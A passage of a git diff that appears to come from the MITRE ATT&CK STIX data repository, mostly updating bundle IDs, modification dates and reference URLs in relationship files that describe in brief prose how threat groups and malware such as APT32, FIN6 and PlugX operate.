-    "id": "bundle--1fdac10d-445f-47c1-9f28-c43eabf30d75",
+    "id": "bundle--0c4e08a1-02b2-49e6-9da1-08df250dbe82",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dd21c8fe-caf8-40df-b049-787ba465eef7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0",
             "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
diff --git a/enterprise-attack/relationship/relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2.json b/enterprise-attack/relationship/relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2.json
index 21227914de..25f86a6ee7 100644
--- a/enterprise-attack/relationship/relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2.json
+++ b/enterprise-attack/relationship/relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--182e2d6b-6bab-4f3e-bb8e-c8e2621d7325",
+    "id": "bundle--726dd41b-cff4-4083-985d-c109d9e382b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
             "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
diff --git a/enterprise-attack/relationship/relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04.json b/enterprise-attack/relationship/relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04.json
index 0cc9614b6b..deb310feb4 100644
--- a/enterprise-attack/relationship/relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04.json
+++ b/enterprise-attack/relationship/relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb327e69-4933-4f65-b33b-3179b351e2a0",
+    "id": "bundle--40cf9642-949e-4e9f-866f-1bad23073c15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used the Windows command shell to execute commands.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b.json b/enterprise-attack/relationship/relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b.json
index 3c1a3ac5f2..1c8461eccd 100644
--- a/enterprise-attack/relationship/relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b.json
+++ b/enterprise-attack/relationship/relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2574adae-fffb-48fb-8a9e-881d4a9e965c",
+    "id": "bundle--13708295-bbb5-4f85-ba33-31cadaf48fd8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b.json b/enterprise-attack/relationship/relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b.json
index 9d5182ed5e..6c9ad26158 100644
--- a/enterprise-attack/relationship/relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b.json
+++ b/enterprise-attack/relationship/relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e61abcd0-ce31-4b40-96cd-015c848e2478",
+    "id": "bundle--7ab358f4-4466-4d74-85b5-9c6dcecd835c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT is executed using rundll32.exe.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31.json b/enterprise-attack/relationship/relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31.json
index a5e67d954f..2db5179aa2 100644
--- a/enterprise-attack/relationship/relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31.json
+++ b/enterprise-attack/relationship/relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5028af8-233e-43b4-9e35-86a6aeb7252d",
+    "id": "bundle--e3d8a3b2-458d-4f59-bbac-3e113487e48a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--de376ec3-0fad-4c41-944d-2d74cee6968c.json b/enterprise-attack/relationship/relationship--de376ec3-0fad-4c41-944d-2d74cee6968c.json
index 78ce3b5145..b3f2fb808e 100644
--- a/enterprise-attack/relationship/relationship--de376ec3-0fad-4c41-944d-2d74cee6968c.json
+++ b/enterprise-attack/relationship/relationship--de376ec3-0fad-4c41-944d-2d74cee6968c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a3b2934-a3a6-45c0-9e5d-b023fcb197b0",
+    "id": "bundle--becac9c3-1ed5-4ae1-b3e2-e65de03fca64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--de376ec3-0fad-4c41-944d-2d74cee6968c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses cmd.exe to execute commands on victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f.json b/enterprise-attack/relationship/relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f.json
index df40caa267..b034bbf63c 100644
--- a/enterprise-attack/relationship/relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f.json
+++ b/enterprise-attack/relationship/relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f3532208-4e5b-4bf6-99a3-9573adc51139",
+    "id": "bundle--f4ffbdf2-44ce-4a27-912a-b5dd2563d77c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--de979692-5ca5-4874-bfc8-91cea8697ef1.json b/enterprise-attack/relationship/relationship--de979692-5ca5-4874-bfc8-91cea8697ef1.json
index 16c69b99a4..adfc307064 100644
--- a/enterprise-attack/relationship/relationship--de979692-5ca5-4874-bfc8-91cea8697ef1.json
+++ b/enterprise-attack/relationship/relationship--de979692-5ca5-4874-bfc8-91cea8697ef1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec73debe-99e1-4e2d-a846-b265823d2bea",
+    "id": "bundle--1b0a46b9-8ce5-4f85-bb76-9d923a4b97af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--de979692-5ca5-4874-bfc8-91cea8697ef1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
diff --git a/enterprise-attack/relationship/relationship--dea36846-b8ad-4926-a242-9fa2d12069c8.json b/enterprise-attack/relationship/relationship--dea36846-b8ad-4926-a242-9fa2d12069c8.json
index 255dd32652..b88e9ed8a3 100644
--- a/enterprise-attack/relationship/relationship--dea36846-b8ad-4926-a242-9fa2d12069c8.json
+++ b/enterprise-attack/relationship/relationship--dea36846-b8ad-4926-a242-9fa2d12069c8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0d14aeb-ef6d-4b30-821e-944f829c4279",
+    "id": "bundle--febcab8e-b3e9-4967-907a-dfbfca6ff582",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dea36846-b8ad-4926-a242-9fa2d12069c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--deafd60c-af1a-40eb-bc43-287b37553fae.json b/enterprise-attack/relationship/relationship--deafd60c-af1a-40eb-bc43-287b37553fae.json
index 1c892e1f63..7e7f54df2b 100644
--- a/enterprise-attack/relationship/relationship--deafd60c-af1a-40eb-bc43-287b37553fae.json
+++ b/enterprise-attack/relationship/relationship--deafd60c-af1a-40eb-bc43-287b37553fae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--32d90042-6d19-4547-9483-5e9c0dd35ca4",
+    "id": "bundle--479d55a5-dff6-468a-a2f5-9d1c16c1548f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can use the Windows API function CreateProcess to execute another process.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--deb7df24-689e-4e4e-909f-a270241ab65a.json b/enterprise-attack/relationship/relationship--deb7df24-689e-4e4e-909f-a270241ab65a.json
new file mode 100644
index 0000000000..61c0854d9e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--deb7df24-689e-4e4e-909f-a270241ab65a.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--b1a0f858-2840-4c51-96d3-5a94ffb0dce9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer logs its actions into files that are encrypted with 3DES. The malware also stores configuration items in alternate data streams if the Registry is not accessible. It also uses RSA to encrypt resources.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ded85906-e996-45cd-ae64-82adc22397e3.json b/enterprise-attack/relationship/relationship--ded85906-e996-45cd-ae64-82adc22397e3.json
index bad50cd82c..10278dc98c 100644
--- a/enterprise-attack/relationship/relationship--ded85906-e996-45cd-ae64-82adc22397e3.json
+++ b/enterprise-attack/relationship/relationship--ded85906-e996-45cd-ae64-82adc22397e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b8aa3849-950d-4c63-8483-333cf78ce8ce",
+    "id": "bundle--6475513e-c475-4b77-bef7-12fa29ca82cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ded85906-e996-45cd-ae64-82adc22397e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
diff --git a/enterprise-attack/relationship/relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46.json b/enterprise-attack/relationship/relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46.json
index baae3b679c..b2cc60acdb 100644
--- a/enterprise-attack/relationship/relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46.json
+++ b/enterprise-attack/relationship/relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b555ac1a-6aea-48e1-92ee-c04efe08250e",
+    "id": "bundle--c4cf0f05-808f-4c1b-aa10-2937820cf8d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka creates a directory, <code>%USERPROFILE%\\AppData\\Local\\SKC\\</code>, which is used to store collected log files.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--df4b49f1-71ca-4744-8554-47bf36174d89.json b/enterprise-attack/relationship/relationship--df4b49f1-71ca-4744-8554-47bf36174d89.json
index b91b64dc87..92915e9717 100644
--- a/enterprise-attack/relationship/relationship--df4b49f1-71ca-4744-8554-47bf36174d89.json
+++ b/enterprise-attack/relationship/relationship--df4b49f1-71ca-4744-8554-47bf36174d89.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6ddb75c-d929-4c6f-ab7d-511756b407b9",
+    "id": "bundle--031ce868-cf2d-4c93-9258-bebd46feb452",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader establishes SOCKS5 connections for its initial C2.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808.json b/enterprise-attack/relationship/relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808.json
index 62f624e6a8..a54f0a74fb 100644
--- a/enterprise-attack/relationship/relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808.json
+++ b/enterprise-attack/relationship/relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd61566d-a7ce-47c5-9d69-30536bcf7931",
+    "id": "bundle--837db5b8-048f-4b98-9fb8-537dd98920b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--df69c29c-01c4-4541-988e-8a5765439d56.json b/enterprise-attack/relationship/relationship--df69c29c-01c4-4541-988e-8a5765439d56.json
index 5571f185ca..d50fce524e 100644
--- a/enterprise-attack/relationship/relationship--df69c29c-01c4-4541-988e-8a5765439d56.json
+++ b/enterprise-attack/relationship/relationship--df69c29c-01c4-4541-988e-8a5765439d56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9b573c1-ca48-43d6-b147-dd5b1b20c23d",
+    "id": "bundle--8875de1c-7bad-4472-afc5-281c7e8c9fd7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group tools attempt to spoof anti-virus processes as a means of self-defense.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09.json b/enterprise-attack/relationship/relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09.json
index 9ddab0d375..d9e64ca44e 100644
--- a/enterprise-attack/relationship/relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09.json
+++ b/enterprise-attack/relationship/relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bdeecf03-ae68-4011-b6a2-1fdab2aa1873",
+    "id": "bundle--5f10582f-96e7-472d-9f07-1adfc6648a45",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can perform port scans from an infected host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead.json b/enterprise-attack/relationship/relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead.json
index 4b03e52723..a8472a5ff0 100644
--- a/enterprise-attack/relationship/relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead.json
+++ b/enterprise-attack/relationship/relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--948c508b-4f08-4501-b942-d8dee584e36e",
+    "id": "bundle--2f1508c0-0179-4e71-847a-893c3688ad68",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to scan for security tools such as firewalls and antivirus tools.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653.json b/enterprise-attack/relationship/relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653.json
index fd2740e405..79a8796c31 100644
--- a/enterprise-attack/relationship/relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653.json
+++ b/enterprise-attack/relationship/relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5f2f3d9-b885-46cf-b866-b5aa6a212534",
+    "id": "bundle--fda9d629-55ea-4224-b99b-88ac21644f43",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used WinRM to enable remote execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3.json b/enterprise-attack/relationship/relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3.json
index c8bf1e5f8f..8137d3a70b 100644
--- a/enterprise-attack/relationship/relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3.json
+++ b/enterprise-attack/relationship/relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ced6d7b7-89d4-47b6-b17d-721753e0eda9",
+    "id": "bundle--3c7b835d-3737-4676-968b-9ad99f10c82f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93.json b/enterprise-attack/relationship/relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93.json
index 9f9c26a070..6eb7606e48 100644
--- a/enterprise-attack/relationship/relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93.json
+++ b/enterprise-attack/relationship/relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--42da9b91-8248-486f-935c-afac3be651ba",
+    "id": "bundle--488c8c8b-cef3-4876-8488-828c80adf447",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 created a Scheduled Task that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--dff84383-c4c5-4974-a33d-9e43526abf49.json b/enterprise-attack/relationship/relationship--dff84383-c4c5-4974-a33d-9e43526abf49.json
new file mode 100644
index 0000000000..b3c569c453
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--dff84383-c4c5-4974-a33d-9e43526abf49.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--c776ed2c-2780-4f50-b320-14a0788558de",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--dff84383-c4c5-4974-a33d-9e43526abf49",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e0033e57-8839-42b9-8515-46e9c7dca966.json b/enterprise-attack/relationship/relationship--e0033e57-8839-42b9-8515-46e9c7dca966.json
index c22f13d777..92f28f38a6 100644
--- a/enterprise-attack/relationship/relationship--e0033e57-8839-42b9-8515-46e9c7dca966.json
+++ b/enterprise-attack/relationship/relationship--e0033e57-8839-42b9-8515-46e9c7dca966.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56bfd864-628d-45d1-8b54-0f3433e12487",
+    "id": "bundle--09f2f996-9253-4764-9e4e-ed0c007efd40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e0033e57-8839-42b9-8515-46e9c7dca966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
